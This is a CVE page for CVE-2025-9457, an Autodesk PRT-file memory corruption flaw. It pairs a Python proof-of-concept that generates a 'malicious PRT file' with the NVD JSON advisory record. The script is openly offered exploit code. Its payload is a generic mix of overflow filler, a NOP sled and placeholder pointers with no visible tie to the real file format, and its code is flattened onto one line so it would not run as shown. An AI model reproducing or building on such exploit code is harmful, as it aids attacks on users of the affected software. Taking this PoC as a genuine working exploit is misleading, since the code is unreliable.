CVE-2025-9457

#!/usr/bin/env python3 # CVE-2025-9457 PoC - Malicious PRT File Generator # Generate a malformed PRT file to trigger memory corruption in Autodesk products # WARNING: For educational and security research purposes only import struct import os def generate_malformed_prt(output_path): """ Generate a malicious PRT file that can trigger memory corruption in vulnerable Autodesk products during file parsing. """ # PRT file header with malicious modifications # Standard PRT signature followed by corrupted data prt_header = b'PRT\x00' # PRT file signature # Malicious payload designed to trigger memory corruption # This exploits insufficient bounds checking during file parsing malformed_data = b'\x41' * 1024 # Pattern to trigger overflow malformed_data += b'\x42' * 512 malformed_data += b'\x00' * 256 # Null bytes malformed_data += b'\xFF' * 128 # Overwrite pattern # Crafted structure to corrupt memory pointers # Overwrite heap metadata and function pointers exploit_payload = b'\x90' * 64 # NOP sled exploit_payload += b'\xCC' * 32 # Breakpoint instructions exploit_payload += struct.pack('<Q', 0x4141414141414141) # Corrupted pointer exploit_payload += struct.pack('<Q', 0x4242424242424242) # Target address # Malformed file structure with invalid size fields size_field = struct.pack('<I', 0xFFFFFFFF) # Invalid size to trigger overflow # Combine all parts to create malicious PRT file malicious_prt = ( prt_header + size_field + malformed_data + exploit_payload + b'\xDE\xAD\xBE\xEF' # End marker ) # Write the malicious file with open(output_path, 'wb') as f: f.write(malicious_prt) print(f"[+] Malicious PRT file generated: {output_path}") print(f"[+] File size: {len(malicious_prt)} bytes") print(f"[!] This file is designed to trigger CVE-2025-9457") print(f"[!] DO NOT open with production Autodesk software") def main(): output_file = "CVE-2025-9457_malicious.prt" generate_malformed_prt(output_file) print("\n[*] PoC generated successfully") print("[*] Note: This is a simplified PoC for demonstration") print("[*] Real exploit may require more sophisticated techniques") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-9457", "sourceIdentifier": "[email protected]", "published": "2025-12-16T00:16:03.617", "lastModified": "2026-01-22T15:16:49.720", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A maliciously crafted PRT file, when parsed through certain Autodesk products, can force a Memory corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:autodesk:shared_components:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.5", "matchCriteriaId": "28E85F6F-29B5-466C-85AD-79FC25372EFD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:3ds_max:2026:*:*:*:*:*:*:*", "matchCriteriaId": "B938D507-D95A-4EAD-86AB-9B52A3682414"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:advance_steel:2026:*:*:*:*:*:*:*", "matchCriteriaId": "68738B5A-B918-4CA3-BD13-4040B3219AFC"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad:2026:*:*:*:*:*:*:*", "matchCriteriaId": "8890EECB-7AB5-41A3-8E77-314183BC3AB3"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_architecture:2026:*:*:*:*:*:*:*", "matchCriteriaId": "CE935915-6926-474F-B5A4-7E77EF7426DD"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_electrical:2026:*:*:*:*:*:*:*", "matchCriteriaId": "BEC23105-1362-4BFE-9C93-F0AAA5BAF2B0"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_map_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "2DB79016-0BB6-4E8A-8AE3-5AB39A252DED"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_mechanical:2026:*:*:*:*:*:*:*", "matchCriteriaId": "4A159D88-990D-41D7-B6B0-D97B38241860"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_mep:2026:*:*:*:*:*:*:*", "matchCriteriaId": "046ADE16-4275-4BEF-9A71-480E709383F7"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_plant_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "EEB9FCDC-6717-44EB-AA55-983A771E2460"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:civil_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "3383C40E-DD43-4146-9B58-C44585E40985"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:infraworks:2026:-:*:*:*:*:*:*", "matchCriteriaId": "1B01CD79-B993-47BB-B775-C10422FB956B"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:inventor:2026:*:*:*:*:*:*:*", "matchCriteriaId": "F7393B89-15A9-4709-9FF3-DA1C88770594"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:revit:2026:*:*:*:*:*:*:*", "matchCriteriaId": "58A56B67-B754-4525-995A-F70CAA6B5AAB"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:revit_lt:2026:*:*:*:*:*:*:*", "matchCriteriaId": "DF3C0C68-F0D7-4737-8D37-D99F128DAB47"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:vault:2026:*:*:*:*:*:*:*", "matchCriteriaId": "08F81FC1-1B7C-40AF-88DB-B62F24CFA21C"}]}]}], "references": [{"url": "https://www.autodesk.com/products/autodesk-access/overview", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0024", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}